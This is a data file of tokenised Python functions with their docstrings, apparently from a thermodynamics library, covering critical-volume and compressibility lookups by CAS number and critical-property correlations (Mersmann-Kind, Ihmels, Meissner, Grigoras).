{"signature": "def Vc(CASRN, AvailableMethods=False, Method=None, IgnoreMethods=[SURF]):", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if CASRN in _crit_IUPAC.index and not np.isnan(_crit_IUPAC.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(IUPAC)<EOL><DEDENT>if CASRN in _crit_Matthews.index and not np.isnan(_crit_Matthews.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(MATTHEWS)<EOL><DEDENT>if CASRN in _crit_CRC.index and not np.isnan(_crit_CRC.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(CRC)<EOL><DEDENT>if CASRN in _crit_PSRKR4.index and not np.isnan(_crit_PSRKR4.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(PSRK)<EOL><DEDENT>if CASRN in _crit_Yaws.index and not np.isnan(_crit_Yaws.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(YAWS)<EOL><DEDENT>if CASRN:<EOL><INDENT>methods.append(SURF)<EOL><DEDENT>if IgnoreMethods:<EOL><INDENT>for Method in IgnoreMethods:<EOL><INDENT>if Method in methods:<EOL><INDENT>methods.remove(Method)<EOL><DEDENT><DEDENT><DEDENT>methods.append(NONE)<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>if Method == IUPAC:<EOL><INDENT>_Vc = float(_crit_IUPAC.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == PSRK:<EOL><INDENT>_Vc = float(_crit_PSRKR4.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == MATTHEWS:<EOL><INDENT>_Vc = float(_crit_Matthews.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == CRC:<EOL><INDENT>_Vc = float(_crit_CRC.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == YAWS:<EOL><INDENT>_Vc = float(_crit_Yaws.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == SURF:<EOL><INDENT>_Vc = third_property(CASRN=CASRN, V=True)<EOL><DEDENT>elif Method == NONE:<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>return _Vc<EOL>", "docstring": "r'''This function handles the retrieval of a chemical's critical\n    volume. Lookup is based on CASRNs. Will automatically select a data\n    source to use if no Method is provided; returns None if the data is not\n    available.\n\n    Prefered sources are 'IUPAC' for organic chemicals, and 'MATTHEWS' for \n    inorganic chemicals. Function has data for approximately 1000 chemicals.\n\n    Examples\n    --------\n    >>> Vc(CASRN='64-17-5')\n    0.000168\n\n    Parameters\n    ----------\n    CASRN : string\n        CASRN [-]\n\n    Returns\n    -------\n    Vc : float\n        Critical volume, [m^3/mol]\n    methods : list, only returned if AvailableMethods == True\n        List of methods which can be used to obtain Vc with the given inputs\n\n    Other Parameters\n    ----------------\n    Method : string, optional\n        The method name to use. Accepted methods are 'IUPAC', 'MATTHEWS', \n        'CRC', 'PSRK', 'YAWS', and 'SURF'. All valid values are also held  \n        in the list `Vc_methods`.\n    AvailableMethods : bool, optional\n        If True, function will determine which methods can be used to obtain\n        Vc for the desired chemical, and will return methods instead of Vc\n    IgnoreMethods : list, optional\n        A list of methods to ignore in obtaining the full list of methods,\n        useful for for performance reasons and ignoring inaccurate methods\n\n    Notes\n    -----\n    A total of six sources are available for this function. They are:\n\n        * 'IUPAC', a series of critically evaluated\n          experimental datum for organic compounds in [1]_, [2]_, [3]_, [4]_,\n          [5]_, [6]_, [7]_, [8]_, [9]_, [10]_, [11]_, and [12]_.\n        * 'MATTHEWS', a series of critically\n          evaluated data for inorganic compounds in [13]_.\n        * 'CRC', a compillation of critically\n          evaluated data by the TRC as published in [14]_.\n        * 'PSRK', a compillation of experimental and\n          estimated data published in [15]_.\n        * 'YAWS', a large compillation of data from a\n          variety of sources; no data points are sourced in the work of [16]_.\n        * 'SURF', an estimation method using a\n          simple quadratic method for estimating Pc from Tc and Vc. This is\n          ignored and not returned as a method by default\n\n    References\n    ----------\n    .. [1] Ambrose, Douglas, and Colin L. Young. \"Vapor-Liquid Critical\n       Properties of Elements and Compounds. 1. An Introductory Survey.\"\n       Journal of Chemical & Engineering Data 41, no. 1 (January 1, 1996):\n       154-154. doi:10.1021/je950378q.\n    .. [2] Ambrose, Douglas, and Constantine Tsonopoulos. \"Vapor-Liquid\n       Critical Properties of Elements and Compounds. 2. Normal Alkanes.\"\n       Journal of Chemical & Engineering Data 40, no. 3 (May 1, 1995): 531-46.\n       doi:10.1021/je00019a001.\n    .. [3] Tsonopoulos, Constantine, and Douglas Ambrose. \"Vapor-Liquid\n       Critical Properties of Elements and Compounds. 3. Aromatic\n       Hydrocarbons.\" Journal of Chemical & Engineering Data 40, no. 3\n       (May 1, 1995): 547-58. doi:10.1021/je00019a002.\n    .. [4] Gude, Michael, and Amyn S. Teja. \"Vapor-Liquid Critical Properties\n       of Elements and Compounds. 4. Aliphatic Alkanols.\" Journal of Chemical\n       & Engineering Data 40, no. 5 (September 1, 1995): 1025-36.\n       doi:10.1021/je00021a001.\n    .. [5] Daubert, Thomas E. \"Vapor-Liquid Critical Properties of Elements\n       and Compounds. 5. Branched Alkanes and Cycloalkanes.\" Journal of\n       Chemical & Engineering Data 41, no. 3 (January 1, 1996): 365-72.\n       doi:10.1021/je9501548.\n    .. [6] Tsonopoulos, Constantine, and Douglas Ambrose. \"Vapor-Liquid\n       Critical Properties of Elements and Compounds. 6. Unsaturated Aliphatic\n       Hydrocarbons.\" Journal of Chemical & Engineering Data 41, no. 4\n       (January 1, 1996): 645-56. doi:10.1021/je9501999.\n    .. [7] Kudchadker, Arvind P., Douglas Ambrose, and Constantine Tsonopoulos.\n       \"Vapor-Liquid Critical Properties of Elements and Compounds. 7. Oxygen\n       Compounds Other Than Alkanols and Cycloalkanols.\" Journal of Chemical &\n       Engineering Data 46, no. 3 (May 1, 2001): 457-79. doi:10.1021/je0001680.\n    .. [8] Tsonopoulos, Constantine, and Douglas Ambrose. \"Vapor-Liquid\n       Critical Properties of Elements and Compounds. 8. Organic Sulfur,\n       Silicon, and Tin Compounds (C + H + S, Si, and Sn).\" Journal of Chemical\n       & Engineering Data 46, no. 3 (May 1, 2001): 480-85.\n       doi:10.1021/je000210r.\n    .. [9] Marsh, Kenneth N., Colin L. Young, David W. Morton, Douglas Ambrose,\n       and Constantine Tsonopoulos. \"Vapor-Liquid Critical Properties of\n       Elements and Compounds. 9. Organic Compounds Containing Nitrogen.\"\n       Journal of Chemical & Engineering Data 51, no. 2 (March 1, 2006):\n       305-14. doi:10.1021/je050221q.\n    .. [10] Marsh, Kenneth N., Alan Abramson, Douglas Ambrose, David W. Morton,\n       Eugene Nikitin, Constantine Tsonopoulos, and Colin L. Young.\n       \"Vapor-Liquid Critical Properties of Elements and Compounds. 10. Organic\n       Compounds Containing Halogens.\" Journal of Chemical & Engineering Data\n       52, no. 5 (September 1, 2007): 1509-38. doi:10.1021/je700336g.\n    .. [11] Ambrose, Douglas, Constantine Tsonopoulos, and Eugene D. Nikitin.\n       \"Vapor-Liquid Critical Properties of Elements and Compounds. 11. Organic\n       Compounds Containing B + O; Halogens + N, + O, + O + S, + S, + Si;\n       N + O; and O + S, + Si.\" Journal of Chemical & Engineering Data 54,\n       no. 3 (March 12, 2009): 669-89. doi:10.1021/je800580z.\n    .. [12] Ambrose, Douglas, Constantine Tsonopoulos, Eugene D. Nikitin, David\n       W. Morton, and Kenneth N. Marsh. \"Vapor-Liquid Critical Properties of\n       Elements and Compounds. 12. Review of Recent Data for Hydrocarbons and\n       Non-Hydrocarbons.\" Journal of Chemical & Engineering Data, October 5,\n       2015, 151005081500002. doi:10.1021/acs.jced.5b00571.\n    .. [13] Mathews, Joseph F. \"Critical Constants of Inorganic Substances.\"\n       Chemical Reviews 72, no. 1 (February 1, 1972): 71-100.\n       doi:10.1021/cr60275a004.\n    .. [14] Haynes, W.M., Thomas J. Bruno, and David R. Lide. CRC Handbook of\n       Chemistry and Physics, 95E. Boca Raton, FL: CRC press, 2014.\n    .. [15] Horstmann, Sven, Anna Jab\u0142oniec, J\u00f6rg Krafczyk, Kai Fischer, and\n       J\u00fcrgen Gmehling. \"PSRK Group Contribution Equation of State:\n       Comprehensive Revision and Extension IV, Including Critical Constants\n       and \u0391-Function Parameters for 1000 Components.\" Fluid Phase Equilibria\n       227, no. 2 (January 25, 2005): 157-64. doi:10.1016/j.fluid.2004.11.002.\n    .. [16] Yaws, Carl L. Thermophysical Properties of Chemicals and\n       Hydrocarbons, Second Edition. Amsterdam Boston: Gulf Professional\n       Publishing, 2014.", "id": "f15798:m2"}
{"signature": "def Zc(CASRN, AvailableMethods=False, Method=None, IgnoreMethods=[COMBINED]):", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if CASRN in _crit_IUPAC.index and not np.isnan(_crit_IUPAC.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(IUPAC)<EOL><DEDENT>if CASRN in _crit_Matthews.index and not np.isnan(_crit_Matthews.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(MATTHEWS)<EOL><DEDENT>if CASRN in _crit_CRC.index and not np.isnan(_crit_CRC.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(CRC)<EOL><DEDENT>if CASRN in _crit_PSRKR4.index and not np.isnan(_crit_PSRKR4.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(PSRK)<EOL><DEDENT>if CASRN in _crit_Yaws.index and not np.isnan(_crit_Yaws.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(YAWS)<EOL><DEDENT>if Tc(CASRN) and Vc(CASRN) and Pc(CASRN):<EOL><INDENT>methods.append(COMBINED)<EOL><DEDENT>if IgnoreMethods:<EOL><INDENT>for Method in IgnoreMethods:<EOL><INDENT>if Method in methods:<EOL><INDENT>methods.remove(Method)<EOL><DEDENT><DEDENT><DEDENT>methods.append(NONE)<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>if Method == IUPAC:<EOL><INDENT>_Zc = float(_crit_IUPAC.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == PSRK:<EOL><INDENT>_Zc = float(_crit_PSRKR4.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == MATTHEWS:<EOL><INDENT>_Zc = float(_crit_Matthews.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == CRC:<EOL><INDENT>_Zc = float(_crit_CRC.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == YAWS:<EOL><INDENT>_Zc = float(_crit_Yaws.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == COMBINED:<EOL><INDENT>_Zc = Vc(CASRN)*Pc(CASRN)/Tc(CASRN)/R<EOL><DEDENT>elif Method == NONE:<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>return _Zc<EOL>", "docstring": "r'''This function handles the retrieval of a chemical's critical\n    compressibility. Lookup is based on CASRNs. Will automatically select a\n    data source to use if no Method is provided; returns None if the data is\n    not available.\n\n    Prefered sources are 'IUPAC' for organic chemicals, and 'MATTHEWS' for \n    inorganic chemicals. Function has data for approximately 1000 chemicals.\n\n    Examples\n    --------\n    >>> Zc(CASRN='64-17-5')\n    0.24100000000000002\n\n    Parameters\n    ----------\n    CASRN : string\n        CASRN [-]\n\n    Returns\n    -------\n    Zc : float\n        Critical compressibility, [-]\n    methods : list, only returned if AvailableMethods == True\n        List of methods which can be used to obtain Vc with the given inputs\n\n    Other Parameters\n    ----------------\n    Method : string, optional\n        The method name to use. Accepted methods are 'IUPAC', 'MATTHEWS', \n        'CRC', 'PSRK', 'YAWS', and 'COMBINED'. All valid values are also held  \n        in `Zc_methods`.\n    AvailableMethods : bool, optional\n        If True, function will determine which methods can be used to obtain\n        Zc for the desired chemical, and will return methods instead of Zc\n    IgnoreMethods : list, optional\n        A list of methods to ignore in obtaining the full list of methods,\n        useful for for performance reasons and ignoring inaccurate methods\n\n    Notes\n    -----\n    A total of five sources are available for this function. They are:\n\n        * 'IUPAC', a series of critically evaluated\n          experimental datum for organic compounds in [1]_, [2]_, [3]_, [4]_,\n          [5]_, [6]_, [7]_, [8]_, [9]_, [10]_, [11]_, and [12]_.\n        * 'MATTHEWS', a series of critically\n          evaluated data for inorganic compounds in [13]_.\n        * 'CRC', a compillation of critically\n          evaluated data by the TRC as published in [14]_.\n        * 'PSRK', a compillation of experimental and\n          estimated data published in [15]_.\n        * 'YAWS', a large compillation of data from a\n          variety of sources; no data points are sourced in the work of [16]_.\n\n    References\n    ----------\n    .. [1] Ambrose, Douglas, and Colin L. Young. \"Vapor-Liquid Critical\n       Properties of Elements and Compounds. 1. An Introductory Survey.\"\n       Journal of Chemical & Engineering Data 41, no. 1 (January 1, 1996):\n       154-154. doi:10.1021/je950378q.\n    .. [2] Ambrose, Douglas, and Constantine Tsonopoulos. \"Vapor-Liquid\n       Critical Properties of Elements and Compounds. 2. Normal Alkanes.\"\n       Journal of Chemical & Engineering Data 40, no. 3 (May 1, 1995): 531-46.\n       doi:10.1021/je00019a001.\n    .. [3] Tsonopoulos, Constantine, and Douglas Ambrose. \"Vapor-Liquid\n       Critical Properties of Elements and Compounds. 3. Aromatic\n       Hydrocarbons.\" Journal of Chemical & Engineering Data 40, no. 3\n       (May 1, 1995): 547-58. doi:10.1021/je00019a002.\n    .. [4] Gude, Michael, and Amyn S. Teja. \"Vapor-Liquid Critical Properties\n       of Elements and Compounds. 4. Aliphatic Alkanols.\" Journal of Chemical\n       & Engineering Data 40, no. 5 (September 1, 1995): 1025-36.\n       doi:10.1021/je00021a001.\n    .. [5] Daubert, Thomas E. \"Vapor-Liquid Critical Properties of Elements\n       and Compounds. 5. Branched Alkanes and Cycloalkanes.\" Journal of\n       Chemical & Engineering Data 41, no. 3 (January 1, 1996): 365-72.\n       doi:10.1021/je9501548.\n    .. [6] Tsonopoulos, Constantine, and Douglas Ambrose. \"Vapor-Liquid\n       Critical Properties of Elements and Compounds. 6. Unsaturated Aliphatic\n       Hydrocarbons.\" Journal of Chemical & Engineering Data 41, no. 4\n       (January 1, 1996): 645-56. doi:10.1021/je9501999.\n    .. [7] Kudchadker, Arvind P., Douglas Ambrose, and Constantine Tsonopoulos.\n       \"Vapor-Liquid Critical Properties of Elements and Compounds. 7. Oxygen\n       Compounds Other Than Alkanols and Cycloalkanols.\" Journal of Chemical &\n       Engineering Data 46, no. 3 (May 1, 2001): 457-79. doi:10.1021/je0001680.\n    .. [8] Tsonopoulos, Constantine, and Douglas Ambrose. \"Vapor-Liquid\n       Critical Properties of Elements and Compounds. 8. Organic Sulfur,\n       Silicon, and Tin Compounds (C + H + S, Si, and Sn).\" Journal of Chemical\n       & Engineering Data 46, no. 3 (May 1, 2001): 480-85.\n       doi:10.1021/je000210r.\n    .. [9] Marsh, Kenneth N., Colin L. Young, David W. Morton, Douglas Ambrose,\n       and Constantine Tsonopoulos. \"Vapor-Liquid Critical Properties of\n       Elements and Compounds. 9. Organic Compounds Containing Nitrogen.\"\n       Journal of Chemical & Engineering Data 51, no. 2 (March 1, 2006):\n       305-14. doi:10.1021/je050221q.\n    .. [10] Marsh, Kenneth N., Alan Abramson, Douglas Ambrose, David W. Morton,\n       Eugene Nikitin, Constantine Tsonopoulos, and Colin L. Young.\n       \"Vapor-Liquid Critical Properties of Elements and Compounds. 10. Organic\n       Compounds Containing Halogens.\" Journal of Chemical & Engineering Data\n       52, no. 5 (September 1, 2007): 1509-38. doi:10.1021/je700336g.\n    .. [11] Ambrose, Douglas, Constantine Tsonopoulos, and Eugene D. Nikitin.\n       \"Vapor-Liquid Critical Properties of Elements and Compounds. 11. Organic\n       Compounds Containing B + O; Halogens + N, + O, + O + S, + S, + Si;\n       N + O; and O + S, + Si.\" Journal of Chemical & Engineering Data 54,\n       no. 3 (March 12, 2009): 669-89. doi:10.1021/je800580z.\n    .. [12] Ambrose, Douglas, Constantine Tsonopoulos, Eugene D. Nikitin, David\n       W. Morton, and Kenneth N. Marsh. \"Vapor-Liquid Critical Properties of\n       Elements and Compounds. 12. Review of Recent Data for Hydrocarbons and\n       Non-Hydrocarbons.\" Journal of Chemical & Engineering Data, October 5,\n       2015, 151005081500002. doi:10.1021/acs.jced.5b00571.\n    .. [13] Mathews, Joseph F. \"Critical Constants of Inorganic Substances.\"\n       Chemical Reviews 72, no. 1 (February 1, 1972): 71-100.\n       doi:10.1021/cr60275a004.\n    .. [14] Haynes, W.M., Thomas J. Bruno, and David R. Lide. CRC Handbook of\n       Chemistry and Physics, 95E. Boca Raton, FL: CRC press, 2014.\n    .. [15] Horstmann, Sven, Anna Jab\u0142oniec, J\u00f6rg Krafczyk, Kai Fischer, and\n       J\u00fcrgen Gmehling. \"PSRK Group Contribution Equation of State:\n       Comprehensive Revision and Extension IV, Including Critical Constants\n       and \u0391-Function Parameters for 1000 Components.\" Fluid Phase Equilibria\n       227, no. 2 (January 25, 2005): 157-64. doi:10.1016/j.fluid.2004.11.002.\n    .. [16] Yaws, Carl L. Thermophysical Properties of Chemicals and\n       Hydrocarbons, Second Edition. Amsterdam Boston: Gulf Professional\n       Publishing, 2014.", "id": "f15798:m3"}
{"signature": "def Mersmann_Kind_predictor(atoms, coeff=<NUM_LIT>, power=<NUM_LIT:0.5>, <EOL>covalent_radii=rcovs_Mersmann_Kind):", "body": "H_RADIUS_COV = covalent_radii['<STR_LIT:H>']<EOL>tot = <NUM_LIT:0><EOL>atom_count = <NUM_LIT:0><EOL>for atom, count in atoms.items():<EOL><INDENT>if atom not in covalent_radii:<EOL><INDENT>raise Exception('<STR_LIT>' %atom)<EOL><DEDENT>tot += count*covalent_radii[atom]<EOL>atom_count += count<EOL><DEDENT>da = <NUM_LIT>*tot/atom_count<EOL>ra = da/<NUM_LIT><EOL>da_SI = da*<NUM_LIT> <EOL>return ((coeff/(ra/H_RADIUS_COV)**power)*da_SI)**<NUM_LIT:3>*N_A*atom_count<EOL>", "docstring": "r'''Predicts the critical molar volume of a chemical based only on its\n    atomic composition according to [1]_ and [2]_. This is a crude approach,\n    but provides very reasonable\n    estimates in practice. Optionally, the `coeff` used and the `power` in the\n    fraction as well as the atomic contributions can be adjusted; this method\n    is general and atomic contributions can be regressed to predict other\n    properties with this routine.\n\n    .. math::\n        \\frac{\\left(\\frac{V_c}{n_a N_A}\\right)^{1/3}}{d_a}\n        = \\frac{3.645}{\\left(\\frac{r_a}{r_H}\\right)^{1/2}}\n\n        r_a = d_a/2\n\n        d_a = 2 \\frac{\\sum_i (n_i r_i)}{n_a}\n\n    In the above equations, :math:`n_i` is the number of atoms of species i in\n    the molecule, :math:`r_i` is the covalent atomic radius of the atom, and \n    :math:`n_a` is the total number of atoms in the molecule.\n\n    Parameters\n    ----------\n    atoms : dict\n        Dictionary of atoms and their counts, [-]\n    coeff : float, optional\n        Coefficient used in the relationship, [m^2]\n    power : float, optional\n        Power applied to the relative atomic radius, [-]\n    covalent_radii : dict or indexable, optional\n        Object which can be indexed to atomic contrinbutions (by symbol), [-]\n\n    Returns\n    -------\n    Vc : float\n        Predicted critical volume of the chemical, [m^3/mol]\n\n    Notes\n    -----    \n    Using the :obj:`thermo.elements.periodic_table` covalent radii (from RDKit), \n    the coefficient and power should be 4.261206523632586 and 0.5597281770786228\n    respectively for best results.\n\n    Examples\n    --------\n    Prediction of critical volume of decane:\n\n    >>> Mersmann_Kind_predictor({'C': 10, 'H': 22})\n    0.0005851859052024729\n\n    This is compared against the experimental value, 0.000624 (a 6.2% relative\n    error)\n\n    Using custom fitted coefficients we can do a bit better:\n\n    >>> from thermo.critical import rcovs_regressed\n    >>> Mersmann_Kind_predictor({'C': 10, 'H': 22}, coeff=4.261206523632586, \n    ... power=0.5597281770786228, covalent_radii=rcovs_regressed)\n    0.0005956871011923075\n\n    The relative error is only 4.5% now. This is compared to an experimental \n    uncertainty of 5.6%.\n\n    Evaluating 1321 critical volumes in the database, the average relative\n    error is 5.0%; standard deviation 6.8%; and worst value of 79% relative\n    error for phosphorus.\n\n    References\n    ----------\n    .. [1] Mersmann, Alfons, and Matthias Kind. \"Correlation for the Prediction\n       of Critical Molar Volume.\" Industrial & Engineering Chemistry Research,\n       October 16, 2017. https://doi.org/10.1021/acs.iecr.7b03171.\n    .. [2] Mersmann, Alfons, and Matthias Kind. \"Prediction of Mechanical and \n       Thermal Properties of Pure Liquids, of Critical Data, and of Vapor \n       Pressure.\" Industrial & Engineering Chemistry Research, January 31, \n       2017. https://doi.org/10.1021/acs.iecr.6b04323.", "id": "f15798:m4"}
{"signature": "def Ihmels(Tc=None, Pc=None, Vc=None):", "body": "if Tc and Vc:<EOL><INDENT>Vc = Vc*<NUM_LIT>  <EOL>Pc = -<NUM_LIT>+<NUM_LIT>*Tc/Vc<EOL>Pc = Pc*<NUM_LIT>  <EOL>return Pc<EOL><DEDENT>elif Tc and Pc:<EOL><INDENT>Pc = Pc/<NUM_LIT>  <EOL>Vc = <NUM_LIT>*Tc/(<NUM_LIT:200>*Pc+<NUM_LIT:5>)<EOL>Vc = Vc/<NUM_LIT>  <EOL>return Vc<EOL><DEDENT>elif Pc and Vc:<EOL><INDENT>Pc = Pc/<NUM_LIT>  <EOL>Vc = Vc*<NUM_LIT>  <EOL>Tc = <NUM_LIT>/<NUM_LIT>*(<NUM_LIT>*Pc*Vc + Vc)<EOL>return Tc<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "r'''Most recent, and most recommended method of estimating critical\n    properties from each other. Two of the three properties are required.\n    This model uses the \"critical surface\", a general plot of Tc vs Pc vs Vc.\n    The model used 421 organic compounds to derive equation.\n    The general equation is in [1]_:\n\n    .. math::\n        P_c = -0.025 + 2.215 \\frac{T_c}{V_c}\n\n    Parameters\n    ----------\n    Tc : float\n        Critical temperature of fluid (optional) [K]\n    Pc : float\n        Critical pressure of fluid (optional) [Pa]\n    Vc : float\n        Critical volume of fluid (optional) [m^3/mol]\n\n    Returns\n    -------\n    Tc, Pc or Vc : float\n        Critical property of fluid [K], [Pa], or [m^3/mol]\n\n    Notes\n    -----\n    The prediction of Tc from Pc and Vc is not tested, as this is not necessary\n    anywhere, but it is implemented.\n    Internal units are MPa, cm^3/mol, and K. A slight error occurs when\n    Pa, cm^3/mol and K are used instead, on the order of <0.2%.\n    Their equation was also compared with 56 inorganic and elements.\n    Devations of 20% for <200K or >1000K points.\n\n    Examples\n    --------a\n    Succinic acid [110-15-6]\n\n    >>> Ihmels(Tc=851.0, Vc=0.000308)\n    6095016.233766234\n\n    References\n    ----------\n    .. [1] Ihmels, E. Christian. \"The Critical Surface.\" Journal of Chemical\n           & Engineering Data 55, no. 9 (September 9, 2010): 3474-80.\n           doi:10.1021/je100167w.", "id": "f15798:m5"}
{"signature": "def Meissner(Tc=None, Pc=None, Vc=None):", "body": "if Tc and Vc:<EOL><INDENT>Vc = Vc*<NUM_LIT><EOL>Pc = <NUM_LIT>*Tc/(Vc-<NUM_LIT:8>)<EOL>Pc = <NUM_LIT>*Pc  <EOL>return Pc<EOL><DEDENT>elif Tc and Pc:<EOL><INDENT>Pc = Pc/<NUM_LIT>  <EOL>Vc = <NUM_LIT>/<NUM_LIT>*Tc/Pc+<NUM_LIT:8><EOL>Vc = Vc/<NUM_LIT>  <EOL>return Vc<EOL><DEDENT>elif Pc and Vc:<EOL><INDENT>Pc = Pc/<NUM_LIT>  <EOL>Vc = Vc*<NUM_LIT>  <EOL>Tc = <NUM_LIT>/<NUM_LIT>*Pc*(Vc-<NUM_LIT:8>)<EOL>return Tc<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "r'''Old (1942) relationship for estimating critical\n    properties from each other. Two of the three properties are required.\n    This model uses the \"critical surface\", a general plot of Tc vs Pc vs Vc.\n    The model used 42 organic and inorganic compounds to derive the equation.\n    The general equation is in [1]_:\n\n    .. math::\n        P_c = \\frac{2.08 T_c}{V_c-8}\n\n    Parameters\n    ----------\n    Tc : float, optional\n        Critical temperature of fluid [K]\n    Pc : float, optional\n        Critical pressure of fluid [Pa]\n    Vc : float, optional\n        Critical volume of fluid [m^3/mol]\n\n    Returns\n    -------\n    Tc, Pc or Vc : float\n        Critical property of fluid [K], [Pa], or [m^3/mol]\n\n    Notes\n    -----\n    The prediction of Tc from Pc and Vc is not tested, as this is not necessary\n    anywhere, but it is implemented.\n    Internal units are atm, cm^3/mol, and K. A slight error occurs when\n    Pa, cm^3/mol and K are used instead, on the order of <0.2%.\n    This equation is less accurate than that of Ihmels, but surprisingly close.\n    The author also proposed means of estimated properties independently.\n\n    Examples\n    --------\n    Succinic acid [110-15-6]\n\n    >>> Meissner(Tc=851.0, Vc=0.000308)\n    5978445.199999999\n\n    References\n    ----------\n    .. [1] Meissner, H. P., and E. M. Redding. \"Prediction of Critical\n           Constants.\" Industrial & Engineering Chemistry 34, no. 5\n           (May 1, 1942): 521-26. doi:10.1021/ie50389a003.", "id": "f15798:m6"}
{"signature": "def Grigoras(Tc=None, Pc=None, Vc=None):", "body": "if Tc and Vc:<EOL><INDENT>Vc = Vc*<NUM_LIT>  <EOL>Pc = <NUM_LIT> + <NUM_LIT>*Tc/Vc<EOL>Pc = Pc*<NUM_LIT>  <EOL>return Pc<EOL><DEDENT>elif Tc and Pc:<EOL><INDENT>Pc = Pc/<NUM_LIT>  <EOL>Vc = <NUM_LIT>*Tc/(<NUM_LIT:10>*Pc-<NUM_LIT>)<EOL>Vc = Vc/<NUM_LIT>  <EOL>return Vc<EOL><DEDENT>elif Pc and Vc:<EOL><INDENT>Pc = Pc/<NUM_LIT>  <EOL>Vc = Vc*<NUM_LIT>  <EOL>Tc = <NUM_LIT:1.0>/<NUM_LIT>*(<NUM_LIT:10>*Pc-<NUM_LIT>)*Vc<EOL>return Tc<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "r'''Relatively recent (1990) relationship for estimating critical\n    properties from each other. Two of the three properties are required.\n    This model uses the \"critical surface\", a general plot of Tc vs Pc vs Vc.\n    The model used 137 organic and inorganic compounds to derive the equation.\n    The general equation is in [1]_:\n\n    .. math::\n        P_c = 2.9 + 20.2 \\frac{T_c}{V_c}\n\n    Parameters\n    ----------\n    Tc : float\n        Critical temperature of fluid (optional) [K]\n    Pc : float\n        Critical pressure of fluid (optional) [Pa]\n    Vc : float\n        Critical volume of fluid (optional) [m^3/mol]\n\n    Returns\n    -------\n    Tc, Pc or Vc : float\n        Critical property of fluid [K], [Pa], or [m^3/mol]\n\n    Notes\n    -----\n    The prediction of Tc from Pc and Vc is not tested, as this is not necessary\n    anywhere, but it is implemented.\n    Internal units are bar, cm^3/mol, and K. A slight error occurs when\n    Pa, cm^3/mol and K are used instead, on the order of <0.2%.\n    This equation is less accurate than that of Ihmels, but surprisingly close.\n    The author also investigated an early QSPR model.\n\n    Examples\n    --------\n    Succinic acid [110-15-6]\n\n    >>> Grigoras(Tc=851.0, Vc=0.000308)\n    5871233.766233766\n\n    References\n    ----------\n    .. [1] Grigoras, Stelian. \"A Structural Approach to Calculate Physical\n           Properties of Pure Organic Substances: The Critical Temperature,\n           Critical Volume and Related Properties.\" Journal of Computational\n           Chemistry 11, no. 4 (May 1, 1990): 493-510.\n           doi:10.1002/jcc.540110408", "id": "f15798:m7"}
{"signature": "def critical_surface(Tc=None, Pc=None, Vc=None, AvailableMethods=False,<EOL>Method=None):", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if (Tc and Pc) or (Tc and Vc) or (Pc and Vc):<EOL><INDENT>methods.append(IHMELS)<EOL>methods.append(MEISSNER)<EOL>methods.append(GRIGORAS)<EOL><DEDENT>methods.append(NONE)<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>if Method == IHMELS:<EOL><INDENT>Third = Ihmels(Tc=Tc, Pc=Pc, Vc=Vc)<EOL><DEDENT>elif Method == MEISSNER:<EOL><INDENT>Third = Meissner(Tc=Tc, Pc=Pc, Vc=Vc)<EOL><DEDENT>elif Method == GRIGORAS:<EOL><INDENT>Third = Grigoras(Tc=Tc, Pc=Pc, Vc=Vc)<EOL><DEDENT>elif Method == NONE:<EOL><INDENT>Third = None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>return Third<EOL>", "docstring": "r'''Function for calculating a critical property of a substance from its\n    other two critical properties. Calls functions Ihmels, Meissner, and\n    Grigoras, each of which use a general 'Critical surface' type of equation.\n    Limited accuracy is expected due to very limited theoretical backing.\n\n    Parameters\n    ----------\n    Tc : float\n        Critical temperature of fluid (optional) [K]\n    Pc : float\n        Critical pressure of fluid (optional) [Pa]\n    Vc : float\n        Critical volume of fluid (optional) [m^3/mol]\n    AvailableMethods : bool\n        Request available methods for given parameters\n    Method : string\n        Request calculation uses the requested method\n\n    Returns\n    -------\n    Tc, Pc or Vc : float\n        Critical property of fluid [K], [Pa], or [m^3/mol]\n\n    Notes\n    -----\n\n    Examples\n    --------\n    Decamethyltetrasiloxane [141-62-8]\n\n    >>> critical_surface(Tc=599.4, Pc=1.19E6, Method='IHMELS')\n    0.0010927333333333334", "id": "f15798:m8"}
